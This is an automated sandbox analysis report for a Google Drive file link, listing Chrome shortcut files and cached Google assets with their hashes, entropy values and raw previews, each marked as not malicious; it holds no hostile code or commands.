URL: https://drive.google.com/file/d/1S8C4QYrWAGakttBziq5Laqx9l3uUTD5M/view Model: claude-3-haiku-20240307	```json { "brands": [ "Applied Controls", "Adobe Document Cloud" ] }

URL: https://drive.google.com/file/d/1S8C4QYrWAGakttBziq5Laqx9l3uUTD5M/view Model: claude-3-haiku-20240307	```json { "brands": [ "Applied Controls", "Adobe Document Cloud" ] }

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 16 15:41:10 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2673
Entropy (8bit):	3.983418742789003
Encrypted:	false
SSDEEP:
MD5:	973DC358372F3C7DA682AB6E6C9E8C2C
SHA1:	C7C3CA3E4BA07F35B6861860BDA1D77F8E562B9B
SHA-256:	76CADA788BD6B2A98228C1468F6B6A74056D0A7C20A9E12D79E049F74DD3110E
SHA-512:	1D2E79B732D3C363DE1976CA2C958DA1F5CA19A833906446C098CC20B1085ECB4A46AD95759C46BDEE5DCFB0929CD6E38782DB14CC03A45FFBAC53EC4FEE562A
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,.....c.4....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.IPY......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VPY$.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VPY$.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VPY$............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VPY&............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............g/.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 16 15:41:10 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2675
Entropy (8bit):	4.00200371368474
Encrypted:	false
SSDEEP:
MD5:	0CE708AC064C33AD4838AF49357C8A55
SHA1:	0F2FC2C6C12DF239D5C4061C778EDF21C41B9D7F
SHA-256:	B28F54A7507B3180B33D0E510AD01498AEFE422AC3FEDBAA90411F3B40214536
SHA-512:	8E65A6E0A20C6588187EEE8FADAEC81AE8A57B66834FF51064CAED5316D8C3854267055DE66BC488D5BCF12BF971413A0404D41570AA4BCC3A0C5CD05239D5AA
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,......4....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.IPY......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VPY$.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VPY$.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VPY$............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VPY&............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............g/.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 6 08:05:01 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2689
Entropy (8bit):	4.007843026245132
Encrypted:	false
SSDEEP:
MD5:	B2F7557B558572A48D75B0D2A9E84781
SHA1:	D6CB17983682D9E1FBBD08CF85B10A87C4411C75
SHA-256:	BC6630CE569D433698C51DD193B2D8355C4C1E845018C4437E7A7C7A99811236
SHA-512:	CCFEB95A0D8F525F010EF0407C98EADC77436F9D1BAFE5006833484BDB58E6E3E0DB48544F89D508A229ADF75E3C0FE34D44D07CD48F8EEE61B4AC1C48A2E367
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,.....Y.04...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.IPY......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VPY$.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VPY$.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VPY$............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VFW.E...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............g/.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 16 15:41:10 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9976798539133567
Encrypted:	false
SSDEEP:
MD5:	A3833837857B63A641909B995731A2BE
SHA1:	3508F4A8072843BEB698E6577918DCF6E20EB4A6
SHA-256:	ED1320D60E9AD30D1C2440639A67D927E290C90EB0F0B0BBB8868D6F021C3549
SHA-512:	85A234C2D2CC80238633E2B2B45F21808FA917BD3E51D937D37FA262D8314D07C105974C48F512ADBC129C9479FBAB06451A131817833C08AAC1A9CD4308F7E7
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,....\|..4....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.IPY......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VPY$.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VPY$.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VPY$............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VPY&............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............g/.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 16 15:41:10 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9854203403382535
Encrypted:	false
SSDEEP:
MD5:	E1D38BB1A39C968E03D95B1CAF8AC42A
SHA1:	24E8BB6DEEC6A17B3DF9B1D3481D035EAD897692
SHA-256:	6CADEE802926BC29BB2C82C5CD265B08C927BECA31880229581C1CE38DAF8AF9
SHA-512:	C9FAB4FA5EC7DCA479A7B64D2E6B05543D921C695975F441FD3C61CDCB6CA4BB25FCDECC25C79AEDB6DA8C165318D4F8F6120A8CC286D40CCCF77F00AA6DA34C
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,....8..4....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.IPY......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VPY$.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VPY$.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VPY$............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VPY&............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............g/.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 16 15:41:10 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9941936446198842
Encrypted:	false
SSDEEP:
MD5:	6213304D76F8CBC0DB21C70670DFF109
SHA1:	D16B7FC76DD5ABADCDC0686705877DB091D63D5C
SHA-256:	A8F1974F85EA11235874B08FB871B0C41F7F1677CC5DDB051565F08A86A08620
SHA-512:	7FC1108A1F7B1B5AFCABC86E3A3718F31B087743AA84C54CB41EF959CE25E60B3E08243A8D2F519872364250AFE68C5B6965C5A4A06565DD4C17FDFE0B7958AB
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,.....j.4....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.IPY......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VPY$.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VPY$.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VPY$............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VPY&............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............g/.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 34184, version 1.0
Category:	downloaded
Size (bytes):	34184
Entropy (8bit):	7.99444009565784
Encrypted:	true
SSDEEP:
MD5:	1ACA735014A6BB648F468EE476680D5B
SHA1:	6D28E3AE6E42784769199948211E3AA0806FA62C
SHA-256:	E563F60814C73C0F4261067BD14C15F2C7F72ED2906670ED4076EBE0D6E9244A
SHA-512:	808AA9AF5A3164F31466AF4BAC25C8A8C3F19910579CF176033359500C8E26F0A96CDC68CCF8808B65937DC87C121238C1C1B0BE296D4306D5D197A1E4C38E86
Malicious:	false
Reputation:	unknown
URL:	https://fonts.gstatic.com/s/googlesans/v61/4UasrENHsxJlGDuGo1OIlJfC6l_24rlCK1Yo_Iqcsih3SAyH6cAwhX9RPjIUvQ.woff2
Preview:	wOF2..............X......................................4?HVAR.k.`?STAT..'...J/<.....`..(..Z.0..N.6.$.... .....K..[O;q..w....z.....%.O.t'.R....6.{..@.k......C.B..Z.uU.}..!.".....]jK.`&.\..4...US.......x..C...1g.:.+.?.t<....J...C.p.c..J...........V..H1.6.~..n.]~"R>..s....7....FE1.S/m....}..<....M..IHB.._8.d.3"......8..t.;f._~X.A.&n.1..t..v...n.._............eS.......!V."v6.xm\|M..O.z..,....,...N.1......y^7...^^.$.!.$<V..B....."j..!2..Y"..{w!..Z.[...]H....M-.".8j.<..X.[{..UI....ML.J.?4B.....]..4..()^Bi.4iD/..]....../I.-.J[D...........c...)63.U.rFpW5}.9$..2...t..:.MW.c.N...lK...3^......./..v. !...;..v.w./^S...\U....\|.......Y9...a.z.....i..$J.U...Ks....0Q.........iy.....M..@..........&..c.kh.(<.O.....~..#.-.gfw.t...nbo...]0'G.!.2.8....y.K..;%......_).W..?.'.DTR.H....G.Al..d......g>.6..(.."4l...3$...\_.W}..R...\.o........`..q...@XG.wpN......!....&...\.&.....N..5..n......g..bR......HV...s...e..r.0ty&.SW.j.{I...".m .s..T....l....@th:..aM.

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	382
Entropy (8bit):	5.377236048162337
Encrypted:	false
SSDEEP:
MD5:	432D8C3BA002F3253998A40C6C9C7F6E
SHA1:	8EA844194F2260AC035CA45B74D5C4DDD3864ADC
SHA-256:	26C98672068E395593B61A2C639D03DB026DD31A4929B05CD1093C83C606C8CE
SHA-512:	73A6DEB5BADD528B389E2C317D9793715CA1E363DE5384A008FB515E4FF3CD404F2F278446ADDFDD2E1A6B2ECF868D8D334816E5FD1F2E5F9A4B9410E74E27E8
Malicious:	false
Reputation:	unknown
URL:	https://content.googleapis.com/static/proxy.html?usegapi=1&jsh=m%3B%2F_%2Fscs%2Fabc-static%2F_%2Fjs%2Fk%3Dgapi.gapi.en.7LPvRDgzcqA.O%2Fam%3DAACA%2Fd%3D1%2Frs%3DAHpOoo9wdgl3D0Cd5pn6O1gZXHwWDc_oTg%2Fm%3D__features__
Preview:	<!DOCTYPE html>.<html>.<head>.<title></title>.<meta http-equiv="X-UA-Compatible" content="IE=edge" />.<script nonce="j1EzSkMVA6X-phmh6QPI3g">. window['startup'] = function() {. googleapis.server.init();. };.</script>.<script src="https://apis.google.com/js/googleapis.proxy.js?onload=startup" async defer nonce="j1EzSkMVA6X-phmh6QPI3g"></script>.</head>.<body>.</body>.</html>.

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	118370
Entropy (8bit):	5.846748398907928
Encrypted:	false
SSDEEP:
MD5:	BA7AB7044D6C6C0240C3917858948CFF
SHA1:	3B840B104CB3D74D5A35FBD193ACA32D27815D3E
SHA-256:	0189F7C6ED35A7BE5E51A30366FBC54C9C9E27D2511DB44895D85A1458F83AB5
SHA-512:	660D3407052C6965E6451C8D2AA9DC302C0F97129864E320731B89174F2A87B776201A57AA30A8CCF1A455700A6D9E2C42A070CC0F964D14A6D9E73DA47C4697
Malicious:	false
Reputation:	unknown
Preview:	<?xml version='1.0' encoding='UTF-8'?><!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" x="0" y="0" width="31px" height="3980px" viewBox="0 0 31 3980" preserveAspectRatio="none"><g transform="translate(0,960)"><path d="M20 2H4c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2zm0 14H4V4h16v12zm-9-5H7V9h4V5h2v4h4v2h-4v4h-2v-4z"/></g><g transform="translate(0,432)"><path fill="#C4C7C5" d="M20 2H4c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2zm0 14H4V4h16v12zm-9-5H7V9h4V5h2v4h4v2h-4v4h-2v-4z"/></g><g transform="translate(0,2152)"><path d="M17.705 10.1401L14.3 4H9.70001L3.60001 15L5.70001 19H13.8027C14.2671 19.8028 14.9121 20.488 15.6822 21H5.70001C5.00001 21 4.30001 20.6 3.90001 19.9L1.80001 15.9C1.50001 15.3 1.50001 14.6 1.80001 14L8.00001 3C8.30001 2.4 9.00001 2 9.70001 2H14.3C15 2 15.7 2.4 16.1 3L20.0307 10.0882C19.6959 10.0

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	2222
Entropy (8bit):	4.326065798736955
Encrypted:	false
SSDEEP:
MD5:	C756AF361AE052F8C88B715D788917C7
SHA1:	0F7EA797B09D9A2975588139E4088545681F3F78
SHA-256:	0A365A57C22A820DE273D9A2F1C3CD681EE62BAE5294B9F6B464682537DFF946
SHA-512:	6DF92302F28E484CA16A55CE74AC56BE1C714F01014D1B547752951A1C3F6D48BCD87514DE9E11EB2E82F3CD4B989C3C9E66EEB489B6987F51555277ED251B2B
Malicious:	false
Reputation:	unknown
URL:	https://blobcomments-pa.clients6.google.com/v1/metadata?docId=1S8C4QYrWAGakttBziq5Laqx9l3uUTD5M&revisionId=0B1SHf5cUZ95YdXpqZksvYTFzUmhRWGo3aldiTWNRV2gzUXNNPQ&userLocale=en&timeZoneId=Etc%2FGMT%2B4&documentResourceKey.resourceKey&forceImportEnabled=true&key=AIzaSyCMp6sr4oTC18AWkE2Ii4UBZHTHEpGZWZM&%24unique=gc797
Preview:	{. "serializedDocosKeyData": "[null,null,0,null,null,null,null,1,[\"Anonymous\",null,\"//ssl.gstatic.com/docs/common/blue_silhouette96-0.png\",\"ANONYMOUS_105250506097979753968\",1,null,1,null,1],1,\"AAHRpnXvAtac6tRQ6IlgKvo2N1pSnHt7h3YMkeAtmALB-u3QiLDE3UPbZ6LAQofy9qRlVhFNemP8lhjMFGmGsZX9jFQrsr98zow\",null,null,null,null,null,1,null,null,1,null,null,null,null,1,0,null,null,null,0,null,null,0,null,null,null,null,1,0,null,null,null,null,[\"tf\",60000,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,0,0,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,0,0,null,null,null,1,null,null,null,null,null,null,0,null,null,\"\",null,0,null,null,null,null,0],[[5703839,5704621,5704695,5704745,5705891,5707899,5711538,5712270,5712639,5712647,5713195,5714051,5737800,5792878,5799034,48966262,49372463,49375342,49472091,49622751,49623141,49643716,49643963,497693

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2051)
Category:	downloaded
Size (bytes):	14684
Entropy (8bit):	5.466852947616851
Encrypted:	false
SSDEEP:
MD5:	95028A4E3FD66AF73F1C6733C387208A
SHA1:	99E4FDABDDBA5CA768CB171E3726B4008A89AE6A
SHA-256:	3D49439AEE51F4DCB87B5C6B7910AA3145B0584F59FF6ABEFCC398C2ABFFC30C
SHA-512:	04F97D3D4CDC8C89018006F5C4470952DAB958CEC311A6C545BA1C304B339624AE09ED1D97401446B8619A6DC90B1180972280127B5793C316A287F2F39AE1DF
Malicious:	false
Reputation:	unknown
URL:	https://apis.google.com/js/googleapis.proxy.js?onload=startup
Preview:	(function(){var aa=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a},ba=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");},ca=ba(this),g=function(a,b){if(b)a:{var c=ca;a=a.split(".");for(var d=0;d<a.length-.1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&aa(c,a,{configurable:!0,writable:!0,value:b})}},h=function(a,b,c){if(a==null)throw new TypeError("The 'this' value for String.prototype."+c+" must not be null or undefined");if(b instanceof RegExp)throw new TypeError("First argument to String.prototype."+c+" must not be a regular expression");return a+""};.g("String.prototype.endsWith",function(a){return a?a:function(b,c){var d=h(this

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1885)
Category:	dropped
Size (bytes):	126135
Entropy (8bit):	5.498654960721984
Encrypted:	false
SSDEEP:
MD5:	C299A572DF117831926BC3A0A25BA255
SHA1:	673F2AC4C7A41AB95FB14E2687666E81BC731E95
SHA-256:	F847294692483E4B7666C0F98CBE2BD03B86AE27B721CAE332FEB26223DDE9FC
SHA-512:	B418A87A350DBC0DEF9FAF3BE4B910CB21AE6FFFC6749EECEA486E3EB603F5AF92F70B936C3D440009482EDE572EE9736422CF89DCDD2B758DFA829216049179
Malicious:	false
Reputation:	unknown
Preview:	gapi.loaded_0(function(_){var window=this;._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);.var ba,fa,ha,na,oa,sa,ua,wa;ba=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};fa=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.ma=ha(this);na=function(a,b){if(b)a:{var c=_.ma;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&fa(c,a,{configurable:!0,writable:!0,value:b})}};.na("Symbol",function(a){if(a)r

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.16293190511019
Encrypted:	false
SSDEEP:
MD5:	FC94FB0C3ED8A8F909DBC7630A0987FF
SHA1:	56D45F8A17F5078A20AF9962C992CA4678450765
SHA-256:	2DFE28CBDB83F01C940DE6A88AB86200154FD772D568035AC568664E52068363
SHA-512:	C87BF81FD70CF6434CA3A6C05AD6E9BD3F1D96F77DDDAD8D45EE043B126B2CB07A5CF23B4137B9D8462CD8A9ADF2B463AB6DE2B38C93DB72D2D511CA60E3B57E
Malicious:	false
Reputation:	unknown
URL:	https://ssl.gstatic.com/docs/common/cleardot.gif?zx=v8k4n9b0c5cw
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2287)
Category:	downloaded
Size (bytes):	215524
Entropy (8bit):	5.5266885548530835
Encrypted:	false
SSDEEP:
MD5:	F68F0BDB9776BDFA017B3E1845F501C5
SHA1:	CAF07E51400B229E243318384BB693934E84094D
SHA-256:	60A98D2D4747169671D88BBBF5F4F56DFDC0BBEF6295FB33EA87586981F0AB74
SHA-512:	242239D02BB1AB30B1408216D1E119AE7733F0B2E05597DA731016BADD8D01BE6FACB82DBF6757C2A3381200F288BC3A7A9D9129453A1849C309AC596EC87A5F
Malicious:	false
Reputation:	unknown
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.K3aapsibxMI.2019.O/rt=j/m=qabr,q_dnp,qcwid,qapid,qads,q_dg/exm=qaaw,qadd,qaid,qein,qhaw,qhba,qhbr,qhch,qhga,qhid,qhin/d=1/ed=1/rs=AA2YrTtDjKIU2tfKp1ZjJdBFkkGhNc_-HQ"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.Ge=function(a){return _.Pb(a)&&a.nodeType==1};_.He=function(a,b){if("textContent"in a)a.textContent=b;else if(a.nodeType==3)a.data=String(b);else if(a.firstChild&&a.firstChild.nodeType==3){for(;a.lastChild!=a.firstChild;)a.removeChild(a.lastChild);a.firstChild.data=String(b)}else _.De(a),a.appendChild(_.se(a).createTextNode(String(b)))};var Ie;_.Je=function(a,b,c){Array.isArray(c)&&(c=c.join(" "));var d="aria-"+b;c===""\|\|c==void 0?(Ie\|\|(Ie={atomic:!1,autocomplete:"none",dropeffect:"none",haspopup:!1,live:"off",multiline:!1,multiselectable:!1,orientation:"vertical",readonly:!1,relevant:"additions text",required:!1,sort:"none",busy:!1,disabled:!1,hidden:!1,invalid:"false"}),c=Ie,b in c?a.setAttribute(d,c[b]):a.removeAttribute(d)):a.setAttribute(d,c)};var Ne;_.Me=function(a,b,c,d,e,f){if(_.qc&&e)return _.Ke(a);if(e&&!d)return!1;if(!_.oc){typeof b==="number"&&(b=_.Le(b));var g=b==17\|\|b==18\|\|_.qc&&b==91;if((!c\|\|_.qc)&&g\|\|_.qc&&b

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	259
Entropy (8bit):	6.7268503778685105
Encrypted:	false
SSDEEP:
MD5:	AF848AEE503A57E479B0FB57318F3F2F
SHA1:	68FE7097531D492691C6FA3454C8192D13E8572F
SHA-256:	33DD0582F6972DDDB05BEE6FD5EA0312FBD782A8003F4C7876AFEBD0F08F49AD
SHA-512:	1225614BBD2BD8DCF57B31759093EC92096A16AB428DE43606A8F71367BF247B9ADFE1F2C18E5F7156A216CBC4B35CF5070A39E4740FBDE1BAE5709D43734619
Malicious:	false
Reputation:	unknown
URL:	https://ssl.gstatic.com/docs/doclist/images/mediatype/icon_3_pdf_x16.png
Preview:	.PNG........IHDR................a....IDATx.cx.l......+g.....N... ...=....D.\|Y8.......]Z...E.p....`5.....}.lD5..3.....?.......?..8..D......H.....n..(?..r.....L3....\|.....cm...@j@..j.8..\|T/ ....4...^..P>PC:<.>#......CBz.d..".^8.....h......V...Q......IEND.B`.

Chrome Cache Entry: 113

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1572)
Category:	downloaded
Size (bytes):	27641
Entropy (8bit):	5.574498450200132
Encrypted:	false
SSDEEP:
MD5:	4A0E52CBE142C49F5D32AAB1C2C124FC
SHA1:	8C42BB9428CF2ADE9429DF413D35FCE606F84551
